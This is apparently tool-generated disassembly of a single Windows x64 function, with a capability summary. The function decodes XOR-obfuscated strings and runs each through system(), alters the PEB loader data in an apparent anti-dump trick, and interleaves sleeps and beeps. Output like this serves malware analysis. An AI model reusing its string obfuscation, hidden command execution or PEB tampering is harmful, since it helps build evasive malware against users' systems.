Function at 0x140003750
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get kernel32 base address
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x390
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140092080]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor r12d, r12d
movabs rsi, 0x4c584b7cc01798af
movabs rdi, 0x6ed1b293d4199412
movabs r14, 0x95e7fbe9eb2bc408
movabs r15, 0x47c811de2f3efe71
movabs r13, 0x2b362208a976cf8f
movabs r8, 0x95e7fbe9eb2b8c39
movabs rbx, 0xb90f0fc54cfa817c
movabs rdx, 0x776910678a25c3b4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140010d30
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
call fcn.140003630
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x382c235cac65edcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xf98e9dc6c411b778
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x22a63fe9170f8d14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x1eb09ceab270f866
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x822dd047e6dd4ec3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xda667baa349fac08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xbb77a0ba87d3ce9b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xfcfc757668617f05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x400b94319ad83d80
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x669ec8a5d13ee2d9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xbcdc8b8a31478c7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x8ea40d261eb6ed30
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x94f09d042e29524f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0xc1fc96519a7eb989
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rcx, 0xcba6e1d249d17f3d
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rdx, 0x1a095a77a1bc586e
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0xe148ba2894ad61b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x9b188d9aebbfaab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x93981b1f3f3d4546
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x327ef754e9844ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0x7eaa9c18d4796b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xd3aefbd65434ed19
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0xe1dc680b6ad5885a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0xb49cf160004a3b3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0xb592f33df30d94a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x160], ymm1
lea rcx, [rbp + 0x100]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x382c235cac65edcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xf98e9dc6c411b778
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x22a63fe9170f8d14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x1eb09ceab270f866
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x992d9442fac44ec3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xe5354ce523d7a119
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xc76bfaf58fd1c3e2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xeaec726d4a5e2035
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x411f95359de52aab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x7f8f87abe32ecad5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xb6c292a57919cd7c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe1dc680b6ad5fc34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0xe148ba2894ad61b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x9b188d9aebbfaab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0x93981b1f3f3d4546
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0x327ef754e9844ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x7eaa9c18d4796b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xd3aefbd65434ed19
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xe1dc680b6ad5885a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x250f17468337fccc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xf094a79a9c44a066
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x239468aa464c8b12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x6eb4c1f2b678e073
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 8], 0x20322a04
mov dword [rbp + 0xc], 0x312d690b
mov word [rbp + 0x10], Ordinal_50
mov byte [rbp + 0x12], 1
mov rax, r12
nop dword [rax]
lea ecx, [rax + 0x42]
xor byte [rbp + rax + 8], cl
inc rax
cmp rax, 9
jb 0x140003f10
mov byte [rbp + 0x12], 0
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x11]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.140010f40
nop
lea rcx, [rbp + 0x60]
call fcn.140002770
mov rbx, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140003f81
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000405d
call fcn.1400747d4
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
test rbx, rbx
jne 0x140004064
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xe38ebdc99944a228
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x47c811de2f1eb314
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.1400022a0
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400037be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0x2b362218a178d48f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xbb84929d84538128
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x47c811de2f3ede5f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x180], ymm1
lea rcx, [rbp + 0x180]
vzeroupper
call fcn.1400022a0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x292c2819aa79d18f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x95e7fbe9eb0be56c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.1400024f0
movabs rax, 0x233c2515974ba2ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xe792988c9877b77f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x26bc70ba73478a18
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x4bfdbcfb16af570
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0xe148ba28f1d5049d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rbx, 0xb90f0fc54cfa817c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs r12, 0xe148ba2894ad61b3
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqa xmm2, xmmword [rbp + 0x1a0]
vxorps xmm2, xmm2, xmmword [rbp + 0x1e0]
vmovdqa xmmword [rbp + 0x1a0], xmm2
lea rcx, [rbp + 0x180]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1b04713fe07bfdcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xe6bb889e844faa61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x1bb165b75d4b9d14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xba2d3f1b56df576
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x8430df06fec308ef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x873d2fa93994bf5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x9b188d9aebbf9b93
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rcx, 0x93981b1f3f3d4546
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x9b188d9aebbfaab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
lea rcx, [rbp + 0x1c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3